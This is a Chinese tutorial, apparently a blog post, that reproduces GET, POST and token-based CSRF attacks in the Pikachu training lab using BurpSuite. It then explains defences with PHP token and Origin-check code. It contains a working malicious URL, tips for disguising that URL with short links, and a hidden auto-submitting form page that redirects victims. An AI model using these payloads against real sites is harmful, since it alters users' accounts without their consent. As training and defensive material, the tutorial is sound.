CSRF漏洞实战用Pikachu靶场复现三种攻击场景附BurpSuite抓包技巧最近在带新人做安全测试时发现很多刚入门的朋友对CSRF跨站请求伪造的理解还停留在概念层面总觉得这种攻击离实际业务很远。其实不然很多看似“人畜无害”的修改个人信息、点赞、关注功能如果防护不当就可能成为攻击者利用的跳板。为了让大家能亲手“摸到”这个漏洞我决定用经典的Pikachu靶场带大家一步步拆解三种最常见的CSRF攻击场景——GET型、POST型以及带Token验证的。整个过程我们会结合BurpSuite这个“瑞士军刀”从抓包、分析到构造攻击请求把每个环节都跑通。无论你是想巩固基础的网络安全爱好者还是准备面试的准安全工程师这篇实战指南都能让你获得即学即用的动手能力。1. 环境搭建与靶场初探在开始“攻击”之前我们得先把“战场”布置好。Pikachu是一个集成了多种Web漏洞的集成靶场非常适合用于学习和演练。它的部署非常简单通常只需要一个PHP环境如XAMPP、PHPStudy即可。1.1 部署Pikachu靶场首先你需要从GitHub或相关资源站下载Pikachu的源码包。解压后将其放置在你的Web服务器根目录下例如对于PHPStudy通常是www目录。接着启动你的Apache和MySQL服务。注意部分版本的Pikachu需要初始化数据库。访问靶场首页如http://localhost/pikachu/时如果页面有数据库连接错误的提示通常页面上会提供一个“初始化安装”的链接点击即可自动创建所需的数据表。成功访问后你会看到一个清晰的漏洞分类导航界面。找到“CSRF”模块点击进入这就是我们本次实战的主战场。Pikachu的CSRF模块通常设计了三个循序渐进的关卡正好对应我们要讲的三种攻击场景。1.2 认识我们的“攻击目标”与工具准备在CSRF漏洞场景中我们模拟的是一个存在漏洞的“用户信息修改”功能。这个功能逻辑很简单用户登录后可以修改自己的性别、电话、地址和邮箱。我们的任务就是以攻击者的视角尝试在用户不知情的情况下偷偷帮他把信息改了。工欲善其事必先利其器。本次实战的核心工具是BurpSuite Community Edition社区版。它足够我们完成抓包、重放和简单的漏洞测试。确保你的浏览器推荐Chrome或Firefox已配置好代理指向BurpSuite默认127.0.0.1:8080并且已安装好BurpSuite的CA证书以便拦截HTTPS流量。为了模拟攻击者我们还需要一个简单的Web服务器来托管我们的恶意页面。这里用Python快速起一个就足够了# 在某个目录下比如 /my_csrf_attack python3 -m http.server 8000这样一个监听在8000端口的简易HTTP服务器就运行起来了我们构造的恶意HTML文件可以放在这个目录下。2. GET型CSRF隐藏在链接里的陷阱第一关通常是最简单的GET型CSRF。这种漏洞的成因是应用使用GET请求来处理敏感操作如修改、删除而GET请求的所有参数都直接暴露在URL中。2.1 漏洞原理与复现过程我们先以正常用户allen的身份登录靶场进入个人信息修改页面。随意修改一下信息比如把电话改成13800138000然后点击提交。与此同时我们打开BurpSuite的Proxy模块并开启拦截Intercept is on。提交时BurpSuite会捕获到这个请求。你会看到类似下面的请求GET /vul/csrf/csrfget/csrf_get_edit.php?sexboyphonenum13800138000addBeijingemailallen%40pikachu.comsubmitsubmit HTTP/1.1 ... Cookie: PHPSESSIDxxxxxxxxxxxxxx关键点来了这个请求没有任何防CSRF的令牌如Token唯一的身份凭证是Cookie中的PHPSESSID。而浏览器在向同一域名发起请求时会自动带上该域名下的Cookie。这意味着只要用户已经登录即会话有效任何能够诱使他访问特定URL的途径都能成功执行这个修改操作。攻击者的操作非常简单直接复制这个GET请求的完整URL然后想办法让已登录的受害者访问它。你可以通过邮件、论坛帖子、即时消息发送这个链接。一旦受害者点击他的信息就在不知不觉中被修改了。为了验证我们直接在allen已登录的浏览器地址栏里粘贴我们构造的恶意URL例如把phonenum改成99999999999http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sexgirlphonenum99999999999addHackerHomeemailhacker%40evil.comsubmitsubmit刷新个人信息页面你会发现修改已经生效。2.2 攻击技巧短链接与伪装直接发送一长串带有明显参数的URL容易引起警惕。因此攻击者通常会使用短链接服务进行伪装。短链接服务特点备注百度短链国内可直接访问需注意服务商可能保留日志t.cn新浪微博旗下字符短辨识度较高bit.ly国外常用可自定义后缀但国内访问可能不稳定将长的恶意URL通过这些服务生成短链接例如http://t.cn/A6XxYyZz其迷惑性就大大增强。更高级的攻击者甚至会购买一个相似的域名并设置URL重写让链接看起来完全无害。提示在安全测试中检查应用是否使用GET方法执行状态变更操作是发现此类漏洞的第一步。任何不涉及幂等性即多次执行产生相同结果的操作如修改、支付、发表评论都不应使用GET方法。3. POST型CSRF表单背后的自动提交第二关的难度稍有提升应用改用POST方法来提交修改请求。POST请求的参数不在URL中而是放在请求体里这使得单纯发送一个链接无法直接触发攻击。3.1 漏洞分析与请求捕获同样我们先正常操作并抓包。这次捕获到的请求是这样的POST /vul/csrf/csrfpost/csrf_post_edit.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded ... sexboyphonenum13800138000addBeijingemailallen%40pikachu.comsubmitsubmit虽然方法变了但请求体里依然没有Token等防护措施。攻击的思路需要转变我们不能直接发链接而是要构造一个会自动提交的恶意表单页面并诱骗用户访问这个页面。3.2 构造恶意页面与自动提交脚本攻击者会在自己的控制的服务器上我们之前用Python启动的http.server创建一个HTML文件比如命名为csrf_post_attack.html。这个文件的核心是一个隐藏的form表单其action指向漏洞页面的URLmethod为POST并且包含了所有需要提交的参数值已被攻击者篡改。为了让攻击在用户访问页面时“悄无声息”地完成我们还需要一段JavaScript代码在页面加载完成后自动提交这个表单。!DOCTYPE html html headtitle看起来无害的页面/title/head body h3最新优惠活动/h3 p点击下方按钮查看详情.../p !-- 隐藏的表单 -- form idmaliciousForm actionhttp://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php methodPOST input typehidden namesex valuegirl / input typehidden namephonenum value10000000000 / input typehidden nameadd valueEvil Corp / input typehidden nameemail valuestolenpikachu.com / input typehidden namesubmit valuesubmit / !-- 一个隐藏的提交按钮 -- input idautoSubmit typesubmit styledisplay: none;/ /form script // 页面加载完成后自动提交表单 window.onload function() { document.getElementById(autoSubmit).click(); // 为了更隐蔽可以设置一个简短的延时或者提交后立即跳转到正常页面 setTimeout(function() { window.location.href http://www.legitimate-site.com; // 跳转到正常网站 }, 100); }; /script /body /html将上述文件保存到你的Python服务器目录下。现在假设已登录的受害者allen访问了http://你的IP:8000/csrf_post_attack.html。页面会瞬间闪过甚至可能立即跳转到别的网站而就在这一瞬间表单已经自动提交他的个人信息已经被修改。查看BurpSuite的历史记录或靶场个人信息可以确认攻击成功。这种攻击的隐蔽性在于用户可能只是点击了一个“抽奖”、“看照片”的链接。页面可能快速跳转用户毫无察觉。如果表单提交后跳转回原网站或一个错误页面用户甚至不会发现异常。4. Token验证型CSRF并非绝对安全第三关引入了最常见的CSRF防护措施——Token令牌验证。服务器在生成表单时会包含一个随机、不可预测的Token提交请求时必须携带这个Token服务器会验证其有效性。这听起来很安全但如果实现不当依然可能被绕过。4.1 Token机制的原理与抓包分析我们登录第三关尝试修改信息并抓包。这次你会看到请求中多了一个token参数POST /vul/csrf/csrftoken/csrf_token_edit.php HTTP/1.1 ... sexboyphonenum13800138000addBeijingemailallen%40pikachu.comsubmitsubmittoken1a2b3c4d5e6f7g8h9i0j同时查看这个修改页面的HTML源代码你会发现一个隐藏的input字段input typehidden nametoken value1a2b3c4d5e6f7g8h9i0j服务器端的逻辑是生成页面时创建一个随机Token存入用户的Session同时也输出到表单里。用户提交时比对提交的Token和Session中的Token是否一致。这样攻击者无法提前获知或伪造这个Token因此无法构造出合法的请求。4.2 寻找Token机制的潜在弱点一个设计良好的Token机制应该具备以下特点如果任何一点被破坏就可能产生漏洞随机性足够Token必须是密码学安全的随机数无法被预测。与用户会话绑定每个用户的Token独立。一次性使用每次提交后旧的Token应立即失效并生成新的。保密性Token不应出现在URL、Referer头等可能泄露的地方。在Pikachu这一关中其实现是相对健全的。但我们可以探讨几种理论上可能绕过或导致Token防护失效的常见场景Token泄露如果网站存在XSS漏洞攻击者可以通过JavaScript窃取到页面中的Token从而构造出合法的CSRF请求。这时CSRF漏洞往往和XSS结合产生更大危害。Token未绑定会话极少数错误实现中Token可能全局通用或与用户弱关联导致攻击者可以使用自己账户获取的Token去攻击其他用户。验证逻辑缺陷服务器可能错误地允许Token重复使用或者验证Token后没有及时销毁它导致重放攻击。为了演示Token的“一次性”我们可以在BurpSuite的Repeater模块中重放刚才抓到的带Token的请求。你会发现第一次重放可能成功如果服务器还没刷新页面生成新Token但紧接着第二次重放就会失败因为服务器端的Token已经更新而Repeater中发送的还是旧的Token值。注意在实际渗透测试中如果发现应用使用了Token不要轻易放弃。应仔细测试Token的生成、传递、验证和销毁的全生命周期寻找逻辑漏洞。同时检查应用是否同时存在XSS这可能是击穿Token防线的突破口。5. 防御之道从开发视角根除CSRF复现攻击是为了更好地防御。作为开发者或安全工程师我们必须知道如何从根源上杜绝CSRF漏洞。以下是几种主流且有效的防御方案我将结合实践中的细节进行说明。5.1 同步令牌模式这是我们刚才在靶场第三关看到的方式也是最推荐的方式。其核心流程如下用户访问包含表单的页面时后端生成一个随机、复杂的Token如UUID或加密字符串。将该Token同时存储于服务器Session或缓存和输出到表单的隐藏域中。用户提交表单时将Token随数据一起提交。后端比对提交的Token与Session中存储的是否一致且有效。关键实现代码示例PHP// 生成Token function generateToken() { return bin2hex(random_bytes(32)); // 生成64字符的十六进制随机字符串 } // 在渲染表单页时 session_start(); if (empty($_SESSION[csrf_token])) { $_SESSION[csrf_token] generateToken(); } ? form methodPOST actionedit.php input typehidden namecsrf_token value?php echo $_SESSION[csrf_token]; ? !-- 其他表单字段 -- /form // 在处理提交请求时 session_start(); if (!isset($_POST[csrf_token]) || $_POST[csrf_token] ! $_SESSION[csrf_token]) { die(CSRF token validation failed.); } // 验证通过后立即销毁旧Token为下一次请求生成新Token unset($_SESSION[csrf_token]); // ... 执行敏感操作 ...5.2 双重Cookie验证这种方案利用了攻击者无法读取或设置目标站点Cookie的特性同源策略。前端从Cookie中读取一个自定义的Token例如XSRF-TOKEN在发起请求时将其作为一个额外的HTTP头如X-XSRF-TOKEN或请求参数发送。后端验证这个值是否与Cookie中的值匹配。优点对于前后端分离的应用如API前端框架实现起来比较方便很多框架如Spring Security, Angular内置支持。缺点如果网站存在XSS漏洞Cookie可能被窃取从而导致此防护失效。5.3 检查请求头Origin与Referer服务器可以检查请求头中的Origin或Referer字段判断请求是否来源于自己的站点。Origin指示了请求来自于哪个站点协议域名端口对于跨域请求浏览器会自动添加且不可被JavaScript篡改比Referer更可靠。Referer包含了请求来源页面的完整URL。验证逻辑示例$allowed_origins [https://www.yourdomain.com, https://yourdomain.com]; $origin $_SERVER[HTTP_ORIGIN] ?? ; if (in_array($origin, $allowed_origins)) { // 来源合法 } else { // 检查Referer作为备选 $referer $_SERVER[HTTP_REFERER] ?? ; $parsed parse_url($referer); if ($parsed[host] ?? yourdomain.com) { // 来源合法 } else { die(Invalid request origin.); } }局限性部分浏览器在隐私模式下可能不发送Referer。用户可能禁用Referer头。从HTTPS页面跳转到HTTP页面时Referer可能被剥离。因此这种方法不应作为唯一的防御手段最好与Token方案结合使用。5.4 关键操作要求二次验证对于特别敏感的操作如修改密码、转账、修改绑定邮箱等强制要求用户进行二次验证是终极安全措施。这完全脱离了浏览器的自动凭证携带机制。密码确认执行操作前要求用户再次输入登录密码。短信/邮箱验证码向用户注册的手机或备用邮箱发送一次性验证码。生物识别在移动端或支持的环境下使用指纹、面部识别。防御策略选择建议防御措施安全性实施复杂度用户体验影响适用场景同步令牌高中低对用户透明绝大多数Web表单提交双重Cookie中高依赖无XSS低低对用户透明前后端分离的SPA应用检查Origin/Referer中低无可作为辅助验证手段二次验证极高高中增加步骤核心敏感操作支付、改密在实际项目中我通常会采用“同步令牌 检查Origin头”的组合拳。对于普通表单用令牌同时在后端网关或中间件层对非简单请求如POST校验Origin头增加攻击者伪造请求的难度。而对于修改密码这样的功能则必须加入短信验证码二次确认。安全是一个叠加的过程多一层防护就多一分保障。